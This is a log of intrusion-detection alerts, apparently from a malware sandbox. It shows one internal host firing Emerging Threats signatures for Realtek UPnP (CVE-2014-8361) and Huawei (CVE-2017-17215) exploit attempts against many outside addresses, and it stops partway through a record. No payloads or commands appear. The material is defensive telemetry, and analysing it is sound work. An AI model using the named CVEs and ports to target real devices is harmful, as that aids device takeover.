ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.29.53.230

Timestamp:	07/20/24-23:01:44.469580
SID:	2027339
Source Port:	57460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.96.50.123

Timestamp:	07/20/24-23:01:31.321189
SID:	2027339
Source Port:	58236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.130.195.64

Timestamp:	07/20/24-23:01:34.044538
SID:	2829579
Source Port:	39770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.198.90

Timestamp:	07/20/24-23:01:00.645186
SID:	2835222
Source Port:	50596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 96.24.157.5

Timestamp:	07/20/24-23:01:46.453936
SID:	2025132
Source Port:	34994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.242.166.123

Timestamp:	07/20/24-23:01:00.651026
SID:	2835222
Source Port:	57736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.24.252.54

Timestamp:	07/20/24-23:01:24.889164
SID:	2835222
Source Port:	58940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 199.214.91.137

Timestamp:	07/20/24-23:01:08.864629
SID:	2831300
Source Port:	40650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.0.5.154

Timestamp:	07/20/24-23:01:08.613165
SID:	2027339
Source Port:	57364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.131.189.107

Timestamp:	07/20/24-23:01:24.867858
SID:	2835222
Source Port:	53214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 116.148.59.65

Timestamp:	07/20/24-23:01:49.158487
SID:	2831300
Source Port:	50088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.199.50.191

Timestamp:	07/20/24-23:02:17.128772
SID:	2025132
Source Port:	41086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.37.139.58

Timestamp:	07/20/24-23:01:08.589760
SID:	2831300
Source Port:	39636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.145.205.177

Timestamp:	07/20/24-23:01:42.280418
SID:	2027339
Source Port:	51174
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 199.182.118.208

Timestamp:	07/20/24-23:01:44.787907
SID:	2831300
Source Port:	43580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.97.165.219

Timestamp:	07/20/24-23:01:42.727671
SID:	2027339
Source Port:	41428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.152.164.248

Timestamp:	07/20/24-23:01:54.859884
SID:	2027339
Source Port:	57070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.52.72.38

Timestamp:	07/20/24-23:01:11.828422
SID:	2829579
Source Port:	38032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.85.31.59

Timestamp:	07/20/24-23:01:57.022868
SID:	2025132
Source Port:	51944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.143.173.10

Timestamp:	07/20/24-23:02:04.052371
SID:	2027339
Source Port:	52100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 24.27.124.225

Timestamp:	07/20/24-23:01:40.349275
SID:	2829579
Source Port:	55334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.82.145.73

Timestamp:	07/20/24-23:01:07.005156
SID:	2835222
Source Port:	34400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.239.16.237

Timestamp:	07/20/24-23:01:44.481011
SID:	2831300
Source Port:	43510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.72.210.150

Timestamp:	07/20/24-23:01:43.751196
SID:	2027339
Source Port:	47178
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 176.129.124.225

Timestamp:	07/20/24-23:02:22.606515
SID:	2831300
Source Port:	48348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 136.80.115.81

Timestamp:	07/20/24-23:01:43.211007
SID:	2025132
Source Port:	46490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 116.126.39.243

Timestamp:	07/20/24-23:01:51.785967
SID:	2831300
Source Port:	37182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.128.60.5

Timestamp:	07/20/24-23:01:11.634372
SID:	2829579
Source Port:	50852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 58.56.54.197

Timestamp:	07/20/24-23:01:44.776719
SID:	2831300
Source Port:	52656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.151.187.19

Timestamp:	07/20/24-23:01:41.987411
SID:	2027339
Source Port:	32886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.250.23.28

Timestamp:	07/20/24-23:01:40.291616
SID:	2835222
Source Port:	34208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.230.89.206

Timestamp:	07/20/24-23:01:02.093903
SID:	2829579
Source Port:	41692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.171.182.143

Timestamp:	07/20/24-23:01:11.631937
SID:	2829579
Source Port:	60474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.115.102.16

Timestamp:	07/20/24-23:01:04.031511
SID:	2829579
Source Port:	45100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.117.11.208

Timestamp:	07/20/24-23:02:00.006558
SID:	2027339
Source Port:	60958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 178.214.207.137

Timestamp:	07/20/24-23:01:31.312895
SID:	2831300
Source Port:	42770
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 185.111.137.113

Timestamp:	07/20/24-23:01:45.547334
SID:	2831300
Source Port:	37662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.174.13.114

Timestamp:	07/20/24-23:01:51.949637
SID:	2027339
Source Port:	35496
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.113.201.241

Timestamp:	07/20/24-23:01:02.229743
SID:	2027339
Source Port:	47964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 175.53.167.172

Timestamp:	07/20/24-23:01:53.560520
SID:	2831300
Source Port:	49688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.3.230.130

Timestamp:	07/20/24-23:01:31.977603
SID:	2835222
Source Port:	56198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.66.231.198

Timestamp:	07/20/24-23:01:59.799089
SID:	2831300
Source Port:	53122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.23.204.131

Timestamp:	07/20/24-23:01:46.783122
SID:	2027339
Source Port:	42202
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.30.251.105

Timestamp:	07/20/24-23:01:00.645051
SID:	2835222
Source Port:	32868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.102.71

Timestamp:	07/20/24-23:01:20.202325
SID:	2829579
Source Port:	40830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.65.109

Timestamp:	07/20/24-23:01:40.334934
SID:	2835222
Source Port:	52590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.82.97.31

Timestamp:	07/20/24-23:01:54.859884
SID:	2025132
Source Port:	49438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.236.245.35

Timestamp:	07/20/24-23:00:57.221338
SID:	2835222
Source Port:	59124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 193.14.204.18

Timestamp:	07/20/24-23:01:01.458734
SID:	2025132
Source Port:	41034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 188.112.254.56

Timestamp:	07/20/24-23:01:01.810641
SID:	2025132
Source Port:	59764
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.184.252.189

Timestamp:	07/20/24-23:01:41.478928
SID:	2027339
Source Port:	36668
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.253.31

Timestamp:	07/20/24-23:01:40.291616
SID:	2829579
Source Port:	39466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 172.32.160.159

Timestamp:	07/20/24-23:01:08.572556
SID:	2831300
Source Port:	53584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 77.77.166.196

Timestamp:	07/20/24-23:01:42.774505
SID:	2831300
Source Port:	53844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.131.252.163

Timestamp:	07/20/24-23:01:59.855159
SID:	2027339
Source Port:	34610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.139.203.167

Timestamp:	07/20/24-23:01:02.113055
SID:	2829579
Source Port:	40466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.135.77.144

Timestamp:	07/20/24-23:01:14.113390
SID:	2835222
Source Port:	59466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.225.111.147

Timestamp:	07/20/24-23:01:48.811098
SID:	2027339
Source Port:	38390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 142.66.65.211

Timestamp:	07/20/24-23:01:14.105395
SID:	2835222
Source Port:	49060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.25.231.52

Timestamp:	07/20/24-23:01:58.556960
SID:	2025132
Source Port:	55908
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.91.11.144

Timestamp:	07/20/24-23:01:41.228795
SID:	2027339
Source Port:	39798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.27.210.57

Timestamp:	07/20/24-23:01:53.068033
SID:	2027339
Source Port:	39446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.180.52.133

Timestamp:	07/20/24-23:01:42.631864
SID:	2027339
Source Port:	49044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.66.162.186

Timestamp:	07/20/24-23:01:41.260372
SID:	2025132
Source Port:	49634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.123.176.91

Timestamp:	07/20/24-23:00:59.172943
SID:	2829579
Source Port:	44104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.216.135.51

Timestamp:	07/20/24-23:01:52.720788
SID:	2027339
Source Port:	50706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.127.162.127

Timestamp:	07/20/24-23:01:57.549758
SID:	2025132
Source Port:	50824
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 65.50.132.254

Timestamp:	07/20/24-23:01:45.104633
SID:	2831300
Source Port:	58656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.238.28

Timestamp:	07/20/24-23:01:34.062277
SID:	2835222
Source Port:	44950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.201.238.135

Timestamp:	07/20/24-23:01:44.745095
SID:	2027339
Source Port:	36580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 70.120.208.1

Timestamp:	07/20/24-23:01:07.018425
SID:	2829579
Source Port:	50070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.222.87.125

Timestamp:	07/20/24-23:01:02.076414
SID:	2835222
Source Port:	45278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.227.74.238

Timestamp:	07/20/24-23:01:26.226478
SID:	2027339
Source Port:	51024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.93.167.88

Timestamp:	07/20/24-23:01:40.331150
SID:	2835222
Source Port:	41418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 52.97.71.90

Timestamp:	07/20/24-23:01:41.549052
SID:	2025132
Source Port:	58950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 71.233.58.215

Timestamp:	07/20/24-23:01:24.904906
SID:	2835222
Source Port:	48302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.28.206.33

Timestamp:	07/20/24-23:01:27.749737
SID:	2829579
Source Port:	43122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.231.211.62

Timestamp:	07/20/24-23:01:45.037292
SID:	2027339
Source Port:	56686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 62.211.74.184

Timestamp:	07/20/24-23:01:54.922661
SID:	2831300
Source Port:	41182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.250.7.213

Timestamp:	07/20/24-23:01:43.283253
SID:	2027339
Source Port:	37266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.169.174.111

Timestamp:	07/20/24-23:01:50.128003
SID:	2831300
Source Port:	40278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.166.233.2

Timestamp:	07/20/24-23:01:25.752492
SID:	2027339
Source Port:	52942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.77.166.196

Timestamp:	07/20/24-23:01:41.496780
SID:	2025132
Source Port:	53180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.77.215.250

Timestamp:	07/20/24-23:02:10.141900
SID:	2025132
Source Port:	38882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.241.240.40

Timestamp:	07/20/24-23:01:20.132103
SID:	2835222
Source Port:	48670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.210.80.134

Timestamp:	07/20/24-23:01:43.020186
SID:	2027339
Source Port:	58968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 156.254.5.127

Timestamp:	07/20/24-23:01:44.756265
SID:	2831300
Source Port:	59170
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.43.73.86

Timestamp:	07/20/24-23:01:02.272048
SID:	2025132
Source Port:	42216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.176.127.107

Timestamp:	07/20/24-23:01:08.638879
SID:	2027339
Source Port:	36752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 201.170.107.7

Timestamp:	07/20/24-23:01:42.717611
SID:	2831300
Source Port:	56282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.139.238.2

Timestamp:	07/20/24-23:01:42.780168
SID:	2025132
Source Port:	41356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 117.131.224.39

Timestamp:	07/20/24-23:01:49.412594
SID:	2025132
Source Port:	47728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 137.33.55.254

Timestamp:	07/20/24-23:01:00.636533
SID:	2829579
Source Port:	32936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 40.55.203.85

Timestamp:	07/20/24-23:01:08.619597
SID:	2831300
Source Port:	34266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 212.188.148.79

Timestamp:	07/20/24-23:01:44.881852
SID:	2025132
Source Port:	47792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.134.216.118

Timestamp:	07/20/24-23:01:50.075288
SID:	2025132
Source Port:	41624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.248.228.18

Timestamp:	07/20/24-23:01:34.045144
SID:	2835222
Source Port:	51684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.142.235.21

Timestamp:	07/20/24-23:01:14.097135
SID:	2829579
Source Port:	55036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.228.206.146

Timestamp:	07/20/24-23:01:04.155095
SID:	2027339
Source Port:	50178
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.28.108.81

Timestamp:	07/20/24-23:01:25.012815
